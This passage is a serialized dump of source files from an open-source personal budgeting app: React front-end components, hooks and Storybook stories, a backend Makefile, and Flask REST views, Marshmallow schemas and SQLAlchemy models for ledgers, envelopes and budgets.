<>\n <Typography className={classes.incomeHeader} component='h2' variant='h6'>\n Incomes (per period)\n <IconButton\n aria-label='go to budget incomes'\n className={classes.editIcon}\n onClick={handleEditNav}\n size='small'\n >\n <ArrowForwardIcon />\n </IconButton>\n </Typography>\n {status === 'success' && (\n <List dense disablePadding>\n {incomes.map((income) => (\n <ListItem key={income.id}>\n <ListItemText primary={income.name} secondary={formatMoney(income.amount)} />\n </ListItem>\n ))}\n </List>\n )}\n {status === 'success' && incomes.length === 0 && (\n <Alert severity='info'>No incomes defined</Alert>\n )}\n {status === 'loading' && <CircularProgress />}\n {status === 'error' && <Alert severity='error'>{error}</Alert>}\n </>\n );\n};\n\nIncomeSummary.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n};\n\nexport default IncomeSummary;\n" }, { "alpha_fraction": 0.7438016533851624, "alphanum_fraction": 0.7438016533851624, "avg_line_length": 29.25, "blob_id": "98261e35cecd393b9b4446629dd3df4907174130", "content_id": "b00cd06e20a1cdc0157d8c8d4aa3463488f0e140", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 242, "license_type": "permissive", "max_line_length": 94, "num_lines": 8, "path": "/webapp/src/common/components/AppBar/TopLevelPageAppBar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport AppBar from './AppBar';\nimport DrawerIconButton from './DrawerIconButton';\n\nconst TopLevelPageAppBar = (props) => <AppBar leftButton={<DrawerIconButton />} {...props} />;\n\nexport default TopLevelPageAppBar;\n" }, { "alpha_fraction": 0.7434870004653931, "alphanum_fraction": 0.7434870004653931, "avg_line_length": 35.96296310424805, "blob_id": "32caf4f18940e9246838202b676377775a34b198", "content_id": "ed695cb47f8f77c4a041a66bd97413a6ff5711c6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 998, "license_type": "permissive", "max_line_length": 96, "num_lines": 27, "path": "/webapp/src/common/components/AppProviders/AppProviders.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import MomentUtils from '@date-io/moment';\nimport { MuiPickersUtilsProvider } from '@material-ui/pickers';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport { ConfirmationContextProvider } from '../../contexts/confirmation';\nimport { DrawerContextProvider } from '../../contexts/drawer';\nimport { SelectionContextProvider } from '../../contexts/selection';\nimport { SnackbarContextProvider } from '../../contexts/snackbar';\n\nconst AppProviders = ({ children }) => (\n <MuiPickersUtilsProvider utils={MomentUtils}>\n <ConfirmationContextProvider>\n <SnackbarContextProvider>\n <SelectionContextProvider>\n <DrawerContextProvider>{children}</DrawerContextProvider>\n </SelectionContextProvider>\n </SnackbarContextProvider>\n </ConfirmationContextProvider>\n </MuiPickersUtilsProvider>\n);\n\nAppProviders.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n};\n\nexport default AppProviders;\n" }, { "alpha_fraction": 0.7316209077835083, "alphanum_fraction": 0.7316209077835083, "avg_line_length": 34.28125, "blob_id": "28d4c7a5c1f84df72439a3e3e926bdba1e42b0cf", "content_id": "1b4aec823183e458caec43a52ada794ea322d3f7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1129, "license_type": "permissive", "max_line_length": 100, "num_lines": 32, "path": "/webapp/src/features/accounts/components/ModifyAccountCategoryDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchAccountCategory from '../hooks/useFetchAccountCategory';\nimport useModifyAccountCategory from '../hooks/useModifyAccountCategory';\nimport AccountCategoryForm from './AccountCategoryForm';\n\nconst ModifyAccountCategoryDialog = () => {\n const navigate = useNavigateKeepingSearch();\n const { id } = useParams();\n const { data, isLoading } = useFetchAccountCategory({ id }, { onError: () => navigate('../..') });\n const category = data || AccountCategoryForm.initialValues;\n const { mutate } = useModifyAccountCategory();\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={AccountCategoryForm}\n initialValues={category}\n isLoading={isLoading}\n onExitNavigateTo='../..'\n onSubmit={mutate}\n title='Modify Category'\n validationSchema={AccountCategoryForm.validationSchema}\n />\n );\n};\n\nexport default ModifyAccountCategoryDialog;\n" }, { "alpha_fraction": 0.7587719559669495, "alphanum_fraction": 0.7587719559669495, "avg_line_length": 18, "blob_id": "599ffb59efd5636686b2d95c37e8f99404ebe5e5", "content_id": "0c9e2dc2aaa9d528796e6df81184e66b468a6102", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 456, "license_type": "permissive", "max_line_length": 58, "num_lines": 24, "path": "/backend/Makefile", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": ".PHONY: black pylint pylint-dup mypy style pip-freeze run\n\nblack:\n\tblack --check underbudget/\n\npylint:\n\tpylint --disable=duplicate-code underbudget/\n\npylint-dup:\n\tpylint --enable=duplicate-code underbudget/\n\nmypy:\n\tmypy --disallow-untyped-defs underbudget/\n\nstyle: pylint mypy black\n\npip-freeze:\n\tpip freeze | grep -v git > requirements.txt\n\nrun:\n\tFLASK_APP=underbudget.app FLASK_ENV=development flask run\n\ncov-server:\n\tcd htmlcov && python -m http.server\n" }, { "alpha_fraction": 0.5836246609687805, "alphanum_fraction": 0.593008279800415, "avg_line_length": 31.939393997192383, "blob_id": "29ff320d21a5b9926e84250107dcf4d228ff68f4", "content_id": "94ba5e423372c399b1e1a0bebb91a0afddb8e610", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5435, "license_type": "permissive", "max_line_length": 87, "num_lines": 165, "path": "/backend/underbudget/views/envelopes.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Envelopes REST view \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict, Optional\nfrom flask import Flask\nfrom flask.views import MethodView\nfrom werkzeug.exceptions import BadRequest\n\nfrom underbudget.common.decorators import use_args\nfrom underbudget.models.envelope import EnvelopeCategoryModel, EnvelopeModel\nfrom underbudget.models.ledger import LedgerModel\nimport underbudget.schemas.envelope as schema\n\n\nenvelope_schema = schema.EnvelopeSchema()\ncategory_schema = schema.EnvelopeCategorySchema()\n\n\nclass EnvelopeCategoriesView(MethodView):\n \"\"\" Envelope category REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"envelope-categories\")\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/envelope-categories\",\n defaults={\"category_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/envelope-categories\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/envelope-categories/<int:category_id>\",\n defaults={\"ledger_id\": None},\n view_func=view,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/envelope-categories/<int:category_id>\",\n view_func=view,\n methods=[\"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(ledger_id: Optional[int], category_id: Optional[int]):\n \"\"\" Gets a specific category or all categories in the specified ledger \"\"\"\n if category_id:\n return category_schema.dump(\n EnvelopeCategoryModel.query.get_or_404(category_id)\n )\n if ledger_id:\n return {\n \"categories\": category_schema.dump(\n EnvelopeCategoryModel.find_by_ledger_id(ledger_id), many=True\n )\n }\n return ({}, 404)\n\n @staticmethod\n @use_args(category_schema)\n def post(args: Dict[str, Any], ledger_id: int):\n \"\"\" Creates a new category \"\"\"\n LedgerModel.query.get_or_404(ledger_id)\n now = datetime.now()\n\n new_category = EnvelopeCategoryModel(\n ledger_id=ledger_id,\n name=args[\"name\"],\n created=now,\n last_updated=now,\n )\n new_category.save()\n return {\"id\": int(new_category.id)}, 201\n\n @staticmethod\n @use_args(category_schema)\n def put(args: Dict[str, Any], category_id: int):\n \"\"\" Modifies a specific category \"\"\"\n category = EnvelopeCategoryModel.query.get_or_404(category_id)\n category.name = args[\"name\"]\n category.last_updated = datetime.now()\n category.save()\n return {}, 200\n\n @staticmethod\n def delete(category_id: int):\n \"\"\" Deletes a specific category \"\"\"\n category = EnvelopeCategoryModel.query.get_or_404(category_id)\n category.delete()\n return {}, 204\n\n\nclass EnvelopesView(MethodView):\n \"\"\" Envelope REST resource view \"\"\"\n\n @classmethod\n def register(cls, app: Flask):\n \"\"\" Registers routes for this view \"\"\"\n view = cls.as_view(\"envelopes\")\n app.add_url_rule(\n \"/api/envelope-categories/<int:category_id>/envelopes\",\n view_func=view,\n methods=[\"POST\"],\n )\n app.add_url_rule(\n \"/api/envelopes/<int:envelope_id>\",\n view_func=view,\n methods=[\"GET\", \"PUT\", \"DELETE\"],\n )\n\n @staticmethod\n def get(envelope_id: int):\n \"\"\" Gets a specific envelope \"\"\"\n return envelope_schema.dump(EnvelopeModel.query.get_or_404(envelope_id))\n\n @staticmethod\n @use_args(envelope_schema)\n def post(args: Dict[str, Any], category_id: int):\n \"\"\" Creates a new envelope in the specified category \"\"\"\n EnvelopeCategoryModel.query.get_or_404(category_id)\n now = datetime.now()\n\n new_envelope = EnvelopeModel(\n category_id=category_id,\n name=args[\"name\"],\n archived=args[\"archived\"],\n external_id=args[\"external_id\"],\n created=now,\n last_updated=now,\n )\n new_envelope.save()\n return {\"id\": int(new_envelope.id)}, 201\n\n @staticmethod\n @use_args(envelope_schema)\n def put(args: Dict[str, Any], envelope_id: int):\n \"\"\" Modifies a specific envelope \"\"\"\n envelope = EnvelopeModel.query.get_or_404(envelope_id)\n\n if args[\"category_id\"] != envelope.category_id:\n old_category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)\n new_category = EnvelopeCategoryModel.query.get_or_404(args[\"category_id\"])\n\n if old_category.ledger_id != new_category.ledger_id:\n raise BadRequest(\"Parent category is from different ledger\")\n\n envelope.category_id = new_category.id\n\n envelope.name = args[\"name\"]\n envelope.archived = args[\"archived\"]\n envelope.external_id = args[\"external_id\"]\n envelope.last_updated = datetime.now()\n envelope.save()\n return {}, 200\n\n @staticmethod\n def delete(envelope_id: int):\n \"\"\" Deletes a specific envelope \"\"\"\n envelope = EnvelopeModel.query.get_or_404(envelope_id)\n envelope.delete()\n return {}, 204\n" }, { "alpha_fraction": 0.6476684212684631, "alphanum_fraction": 0.6476684212684631, "avg_line_length": 35.513511657714844, "blob_id": "1f5f74e9e94ff6f422a34684966a075290f21496", "content_id": "d610a7f96715d2a5ac161a1062ef805915361ed3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1351, "license_type": "permissive", "max_line_length": 88, "num_lines": 37, "path": "/webapp/src/features/transactions/hooks/useCreateTransaction.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport toString from 'lodash/toString';\nimport moment from 'moment';\n\nimport useErrorMessage from 'common/hooks/useErrorMessage';\nimport useMutation from 'common/hooks/useMutation';\nimport useSelectedLedger from 'common/hooks/useSelectedLedger';\n\nconst formatDate = (date) => moment(date).format('YYYY-MM-DD');\n\nexport default (opts) => {\n const ledger = useSelectedLedger();\n return useMutation(\n ({ recordedDate, ...data }) =>\n axios.post(`/api/ledgers/${ledger}/transactions`, {\n recordedDate: formatDate(recordedDate),\n ...data,\n }),\n {\n createErrorMessage: useErrorMessage({ request: 'Unable to create transactions' }),\n refetchQueries: (_, { accountTransactions, envelopeTransactions }) => {\n const queries = [];\n accountTransactions.forEach((trn) => {\n queries.push(['account-balance', toString(trn.accountId)]);\n queries.push(['account-transactions', toString(trn.accountId)]);\n queries.push(['unreconciled-transactions', toString(trn.accountId)]);\n });\n envelopeTransactions.forEach((trn) => {\n queries.push(['envelope-balance', toString(trn.envelopeId)]);\n queries.push(['envelope-transactions', toString(trn.envelopeId)]);\n });\n return queries;\n },\n ...opts,\n },\n );\n};\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.7020618319511414, "avg_line_length": 36.30769348144531, "blob_id": "0b8603961dc6f7d49eb6410abdacfb3ce244266e", "content_id": "af59165c25dfc49bc06440d9d1871b1138bd54ec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 970, "license_type": "permissive", "max_line_length": 86, "num_lines": 26, "path": "/backend/underbudget/schemas/envelope.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Envelope schema \"\"\"\nfrom marshmallow import Schema, fields, validate\n\n\nclass EnvelopeSchema(Schema):\n \"\"\" Envelope schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n category_id = fields.Integer(data_key=\"categoryId\")\n name = fields.String(required=True, validate=validate.Length(min=1))\n archived = fields.Boolean(missing=False)\n external_id = fields.String(data_key=\"externalId\", missing=\"\")\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n\n\nclass EnvelopeCategorySchema(Schema):\n \"\"\" Envelope category schema \"\"\"\n\n id = fields.Integer(dump_only=True)\n name = fields.String(required=True, validate=validate.Length(min=1))\n envelopes = fields.List(\n fields.Nested(EnvelopeSchema, only=[\"id\", \"name\", \"archived\"]), dump_only=True\n )\n created = fields.DateTime(dump_only=True)\n last_updated = fields.DateTime(data_key=\"lastUpdated\", dump_only=True)\n" }, { "alpha_fraction": 0.6494530439376831, "alphanum_fraction": 0.6518661379814148, "avg_line_length": 33.921348571777344, "blob_id": "f6f7092986d1825d98b9f346748220a330ca3168", "content_id": "1d3ef80782e026e349d6c5c10c16cf067322957c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6216, "license_type": "permissive", "max_line_length": 86, "num_lines": 178, "path": "/backend/underbudget/models/budget.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Budget database models \"\"\"\nfrom typing import List, Optional\nfrom werkzeug.exceptions import Conflict, NotFound\n\nfrom underbudget.database import db\nfrom underbudget.models.base import AuditModel, CrudModel\nfrom underbudget.models.ledger import LedgerModel\n\n\nclass BudgetModel(db.Model, AuditModel, CrudModel):\n \"\"\" Budget model \"\"\"\n\n __tablename__ = \"budget\"\n\n id = db.Column(db.Integer, primary_key=True)\n ledger_id = db.Column(db.Integer, db.ForeignKey(\"ledger.id\"), nullable=False)\n name = db.Column(db.String(128), nullable=False)\n periods = db.Column(db.Integer, nullable=False)\n\n @classmethod\n def find_by_ledger_id(cls, ledger_id: int) -> List[\"BudgetModel\"]:\n \"\"\" Queries for budgets under the given ledger ID \"\"\"\n return cls.query.filter_by(ledger_id=ledger_id).all()\n\n def delete(self):\n \"\"\" Deletes the budget if it is not an active budget for any year \"\"\"\n if ActiveBudgetModel.query.filter_by(budget_id=self.id).count():\n raise Conflict(\"Budget is an active budget\")\n super().delete()\n\n\nLedgerModel.budgets = db.relationship(\"BudgetModel\", cascade=\"delete\", lazy=\"select\")\n\n\nclass ActiveBudgetModel(db.Model, AuditModel, CrudModel):\n \"\"\" Active budget model \"\"\"\n\n __tablename__ = \"active_budget\"\n\n id = db.Column(db.Integer, primary_key=True)\n ledger_id = db.Column(db.Integer, db.ForeignKey(\"ledger.id\"), nullable=False)\n budget_id = db.Column(db.Integer, db.ForeignKey(\"budget.id\"), nullable=False)\n year = db.Column(db.Integer, nullable=False)\n\n @classmethod\n def find_by_id(cls, active_budget_id: int) -> \"ActiveBudgetModel\":\n \"\"\" Queries for an active budget with the given ID \"\"\"\n active_budget = (\n cls.query.filter_by(id=active_budget_id)\n .join(BudgetModel)\n .add_columns(\n cls.id,\n cls.budget_id,\n cls.year,\n cls.created,\n cls.last_updated,\n BudgetModel.name,\n )\n .first()\n )\n if not active_budget:\n raise NotFound()\n return active_budget\n\n @classmethod\n def find_by_ledger_id(cls, ledger_id: int) -> List[\"ActiveBudgetModel\"]:\n \"\"\" Queries for active budgets under the given ledger ID \"\"\"\n return (\n cls.query.filter_by(ledger_id=ledger_id)\n .join(BudgetModel)\n .add_columns(\n cls.id,\n cls.budget_id,\n cls.year,\n cls.created,\n cls.last_updated,\n BudgetModel.name,\n )\n .order_by(cls.year.desc())\n .all()\n )\n\n @classmethod\n def find_by_year(cls, ledger_id: int, year: int) -> Optional[\"ActiveBudgetModel\"]:\n \"\"\" Queries for an active budget for the given year \"\"\"\n return cls.query.filter_by(ledger_id=ledger_id).filter_by(year=year).first()\n\n\nLedgerModel.active_budgets = db.relationship(\n \"ActiveBudgetModel\", cascade=\"delete\", lazy=\"select\"\n)\nBudgetModel.active_budgets = db.relationship(\n \"ActiveBudgetModel\", cascade=\"delete\", lazy=\"select\"\n)\n\n\nclass BudgetPeriodicIncomeModel(db.Model, AuditModel, CrudModel):\n \"\"\" Budget periodic income model \"\"\"\n\n __tablename__ = \"budget_periodic_income\"\n\n id = db.Column(db.Integer, primary_key=True)\n budget_id = db.Column(db.Integer, db.ForeignKey(\"budget.id\"), nullable=False)\n name = db.Column(db.String(128), nullable=False)\n amount = db.Column(db.Integer, nullable=False)\n\n @classmethod\n def find_by_budget_id(cls, budget_id: int) -> List[\"BudgetPeriodicIncomeModel\"]:\n \"\"\" Queries for periodic incomes under the given budget ID \"\"\"\n return cls.query.filter_by(budget_id=budget_id).all()\n\n\nBudgetModel.periodic_incomes = db.relationship(\n \"BudgetPeriodicIncomeModel\", cascade=\"delete\", lazy=\"select\"\n)\n\n\nclass BudgetPeriodicExpenseModel(db.Model, AuditModel, CrudModel):\n \"\"\" Budget periodic expense model \"\"\"\n\n __tablename__ = \"budget_periodic_expense\"\n\n id = db.Column(db.Integer, primary_key=True)\n budget_id = db.Column(db.Integer, db.ForeignKey(\"budget.id\"), nullable=False)\n envelope_id = db.Column(db.Integer, db.ForeignKey(\"envelope.id\"), nullable=False)\n name = db.Column(db.String(128), nullable=False)\n amount = db.Column(db.Integer, nullable=False)\n\n @classmethod\n def find_by_budget_id(cls, budget_id: int) -> List[\"BudgetPeriodicExpenseModel\"]:\n \"\"\" Queries for periodic expenses under the given budget ID \"\"\"\n return cls.query.filter_by(budget_id=budget_id).all()\n\n\nBudgetModel.periodic_expenses = db.relationship(\n \"BudgetPeriodicExpenseModel\", cascade=\"delete\", lazy=\"select\"\n)\n\n\nclass BudgetAnnualExpenseModel(db.Model, AuditModel, CrudModel):\n \"\"\" Budget annual expense model \"\"\"\n\n __tablename__ = \"budget_annual_expense\"\n\n id = db.Column(db.Integer, primary_key=True)\n budget_id = db.Column(db.Integer, db.ForeignKey(\"budget.id\"), nullable=False)\n envelope_id = db.Column(db.Integer, db.ForeignKey(\"envelope.id\"), nullable=False)\n name = db.Column(db.String(128), nullable=False)\n amount = db.Column(db.Integer, nullable=False)\n details = db.relationship(\n \"BudgetAnnualExpenseDetailModel\",\n cascade=\"delete\",\n order_by=\"asc(BudgetAnnualExpenseDetailModel.period)\",\n )\n\n @classmethod\n def find_by_budget_id(cls, budget_id: int) -> List[\"BudgetAnnualExpenseModel\"]:\n \"\"\" Queries for annual expenses under the given budget ID \"\"\"\n return cls.query.filter_by(budget_id=budget_id).all()\n\n\nBudgetModel.annual_expenses = db.relationship(\n \"BudgetAnnualExpenseModel\", cascade=\"delete\", lazy=\"select\"\n)\n\n\nclass BudgetAnnualExpenseDetailModel(db.Model):\n \"\"\" Budget annual expense detail model \"\"\"\n\n __tablename__ = \"budget_annual_expense_detail\"\n\n id = db.Column(db.Integer, primary_key=True)\n annual_budget_id = db.Column(\n db.Integer, db.ForeignKey(\"budget_annual_expense.id\"), nullable=False\n )\n name = db.Column(db.String(128), nullable=False)\n amount = db.Column(db.Integer, nullable=False)\n period = db.Column(db.Integer, nullable=False)\n" }, { "alpha_fraction": 0.7034345865249634, "alphanum_fraction": 0.7034345865249634, "avg_line_length": 34.20930099487305, "blob_id": "636ee36a2a823bc0b7b97d85bc6b62ea9dee8bf9", "content_id": "e1721d2cf36e8b06e7fdf8373b0cd2c5242d8d43", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1514, "license_type": "permissive", "max_line_length": 87, "num_lines": 43, "path": "/webapp/src/features/envelopes/routes/EnvelopesListPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AddCircleIcon from '@material-ui/icons/AddCircle';\nimport CreateNewFolderIcon from '@material-ui/icons/CreateNewFolder';\nimport React from 'react';\nimport { Routes, Route } from 'react-router-dom';\n\nimport FullAppPage from 'common/components/FullAppPage';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport CreateEnvelopeCategoryDialog from '../components/CreateEnvelopeCategoryDialog';\nimport CreateEnvelopeDialog from '../components/CreateEnvelopeDialog';\nimport EnvelopesList from '../components/EnvelopesList';\nimport ModifyEnvelopeCategoryDialog from '../components/ModifyEnvelopeCategoryDialog';\n\nconst EnvelopesListPage = () => {\n const navigate = useNavigateKeepingSearch();\n\n const actions = [\n {\n 'aria-label': 'Create envelope',\n icon: <AddCircleIcon />,\n onClick: () => navigate('create'),\n text: 'Create envelope',\n },\n {\n 'aria-label': 'Create envelope category',\n icon: <CreateNewFolderIcon />,\n onClick: () => navigate('create-category'),\n text: 'Create category',\n },\n ];\n\n return (\n <FullAppPage primaryActions={actions} title='Envelopes'>\n <EnvelopesList />\n <Routes>\n <Route path='create-category' element={<CreateEnvelopeCategoryDialog />} />\n <Route path='modify-category/:id' element={<ModifyEnvelopeCategoryDialog />} />\n <Route path='create' element={<CreateEnvelopeDialog />} />\n </Routes>\n </FullAppPage>\n );\n};\n\nexport default EnvelopesListPage;\n" }, { "alpha_fraction": 0.6217105388641357, "alphanum_fraction": 0.625, "avg_line_length": 23, "blob_id": "5510daef4d709722af3f55a0e012f05e8e26e043", "content_id": "9c929088d19a3ab46f9ab66e2d567732b1525ce9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1824, "license_type": "permissive", "max_line_length": 71, "num_lines": 76, "path": "/webapp/src/common/components/FullAppPage/FullAppPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport AddIcon from '@material-ui/icons/Add';\nimport FilterListIcon from '@material-ui/icons/FilterList';\nimport { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport useSelection from '../../hooks/useSelection';\nimport AppProviders from '../AppProviders';\nimport { TwoSelectionActions } from '../FullAppBar/FullAppBar.stories';\nimport FullAppPage from './FullAppPage';\n\nexport default {\n title: 'common/FullAppPage',\n component: FullAppPage,\n decorators: [(story) => <AppProviders>{story()}</AppProviders>],\n};\n\nconst SelectButtons = () => {\n const [item, setItem] = React.useState(0);\n const { select, unselect } = useSelection();\n const handleSelect = () => {\n select(item);\n setItem((old) => old + 1);\n };\n const handleUnselect = () => {\n unselect(item - 1);\n setItem((old) => old - 1);\n };\n\n return (\n <>\n <Button onClick={handleSelect}>Select</Button>\n <Button disabled={item === 0} onClick={handleUnselect}>\n Unselect\n </Button>\n </>\n );\n};\n\nconst Template = (args) => (\n <FullAppPage {...args}>\n <SelectButtons />\n </FullAppPage>\n);\n\nexport const Desktop = Template.bind({});\nDesktop.args = {\n ...TwoSelectionActions.args,\n primaryActions: [\n {\n 'aria-label': 'Create item',\n icon: <AddIcon />,\n onClick: action('add item'),\n text: 'Add item',\n },\n {\n 'aria-label': 'Filter items',\n icon: <FilterListIcon />,\n onClick: action('filter'),\n text: 'Filter items',\n },\n ],\n useFab: true,\n};\n\nexport const Mobile = Template.bind({});\nMobile.args = Desktop.args;\nMobile.parameters = {\n viewport: { defaultViewport: 'mobile1' },\n};\n\nexport const BackNav = Template.bind({});\nBackNav.args = {\n ...Desktop.args,\n back: '/previous-url',\n};\n" }, { "alpha_fraction": 0.6432253122329712, "alphanum_fraction": 0.6435934901237488, "avg_line_length": 32.95000076293945, "blob_id": "03c011e0ad6339c9ac01754c7cc3a9d6470da7d1", "content_id": "088a4ea168092a15b0cb0937fef59955354e6869", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2716, "license_type": "permissive", "max_line_length": 81, "num_lines": 80, "path": "/webapp/src/features/budgets/routes/BudgetsPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Paper from '@material-ui/core/Paper';\nimport Tab from '@material-ui/core/Tab';\nimport { makeStyles } from '@material-ui/core/styles';\nimport AddCircleIcon from '@material-ui/icons/AddCircle';\nimport TabContext from '@material-ui/lab/TabContext';\nimport TabList from '@material-ui/lab/TabList';\nimport TabPanel from '@material-ui/lab/TabPanel';\nimport React from 'react';\nimport { Routes, Route, useSearchParams } from 'react-router-dom';\n\nimport FullAppPage from 'common/components/FullAppPage';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport ActiveBudgetsList from '../components/ActiveBudgetsList';\nimport AllBudgetsList from '../components/AllBudgetsList';\nimport CreateActiveBudgetDialog from '../components/CreateActiveBudgetDialog';\nimport CreateBudgetDialog from '../components/CreateBudgetDialog';\nimport ModifyActiveBudgetDialog from '../components/ModifyActiveBudgetDialog';\n\nconst useStyles = makeStyles({\n tabPanel: {\n padding: 0,\n },\n});\n\nconst BudgetsPage = () => {\n const classes = useStyles();\n const navigate = useNavigateKeepingSearch();\n\n const [searchParams, setSearchParams] = useSearchParams({ tab: 'active' });\n const tabValue = searchParams.get('tab');\n const isActiveTab = tabValue === 'active';\n const handleChangeTab = (e, tab) => setSearchParams({ tab });\n\n const actions = [\n isActiveTab\n ? {\n 'aria-label': 'Set active budget',\n icon: <AddCircleIcon />,\n onClick: () => navigate('set-active'),\n text: 'Set active budget',\n }\n : {\n 'aria-label': 'Create budget',\n icon: <AddCircleIcon />,\n onClick: () => navigate('create'),\n text: 'Create budget',\n },\n ];\n\n return (\n <FullAppPage primaryActions={actions} title='Budgets'>\n <TabContext value={tabValue}>\n <Paper>\n <TabList\n aria-label='budget tabs'\n centered\n indicatorColor='primary'\n onChange={handleChangeTab}\n >\n <Tab value='active' label='Active' />\n <Tab value='all' label='All' />\n </TabList>\n </Paper>\n <TabPanel className={classes.tabPanel} value='active'>\n <ActiveBudgetsList />\n </TabPanel>\n <TabPanel className={classes.tabPanel} value='all'>\n <AllBudgetsList />\n </TabPanel>\n </TabContext>\n <Routes>\n <Route path='create' element={<CreateBudgetDialog />} />\n <Route path='set-active' element={<CreateActiveBudgetDialog />} />\n <Route path='modify-active/:id' element={<ModifyActiveBudgetDialog />} />\n </Routes>\n </FullAppPage>\n );\n};\n\nexport default BudgetsPage;\n" }, { "alpha_fraction": 0.6683937907218933, "alphanum_fraction": 0.6696891188621521, "avg_line_length": 25.620689392089844, "blob_id": "3475dc0ca74fcdebd5107d977bd6876c978aa207", "content_id": "6580a82b55a03bee9a339d01d4c694fe8c34e175", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1544, "license_type": "permissive", "max_line_length": 99, "num_lines": 58, "path": "/webapp/src/features/budgets/routes/__stories__/BudgetsPage.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { Route, Routes } from 'react-router-dom';\n\nimport AppProviders from 'common/components/AppProviders';\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport * as ActiveBudgetsListStories from '../../components/__stories__/ActiveBudgetsList.stories';\nimport * as AllBudgetsListStories from '../../components/__stories__/AllBudgetsList.stories';\nimport BudgetsPage from '../BudgetsPage';\n\nexport default {\n title: 'budgets/BudgetsPage',\n component: BudgetsPage,\n decorators: [\n (story) => (\n <Routes>\n <Route path='/budgets/*' element={story()} />\n </Routes>\n ),\n (story) => <AppProviders>{story()}</AppProviders>,\n (story) => {\n setSelectedLedger('2');\n return story();\n },\n ],\n parameters: {\n initialRoute: '/budgets',\n },\n};\n\nconst Template = () => <BudgetsPage />;\n\nexport const FetchError = Template.bind({});\n\nexport const NoBudgets = Template.bind({});\nNoBudgets.parameters = {\n api: {\n get: [\n ...ActiveBudgetsListStories.NoBudgets.parameters.api.get,\n ...AllBudgetsListStories.NoBudgets.parameters.api.get,\n ],\n },\n};\n\nexport const SeveralBudgets = Template.bind({});\nSeveralBudgets.parameters = {\n api: {\n get: [\n ...ActiveBudgetsListStories.SeveralBudgets.parameters.api.get,\n ...AllBudgetsListStories.SeveralBudgets.parameters.api.get,\n ],\n },\n};\n\nexport const Mobile = Template.bind({});\nMobile.parameters = {\n api: SeveralBudgets.parameters.api,\n viewport: { defaultViewport: 'mobile1' },\n};\n" }, { "alpha_fraction": 0.5906331539154053, "alphanum_fraction": 0.5984388589859009, "avg_line_length": 29.746665954589844, "blob_id": "10674282107893eeea1bd458294d897fcc849e96", "content_id": "96d985b29a050dd26f6e3210c4ec2f12bb1a0630", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2306, "license_type": "permissive", "max_line_length": 78, "num_lines": 75, "path": "/backend/underbudget/views/ledgers.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Ledger REST view \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict, Optional\nfrom flask import Flask\nfrom flask.views import MethodView\n\nfrom underbudget.common.decorators import use_args, with_pagination\nfrom 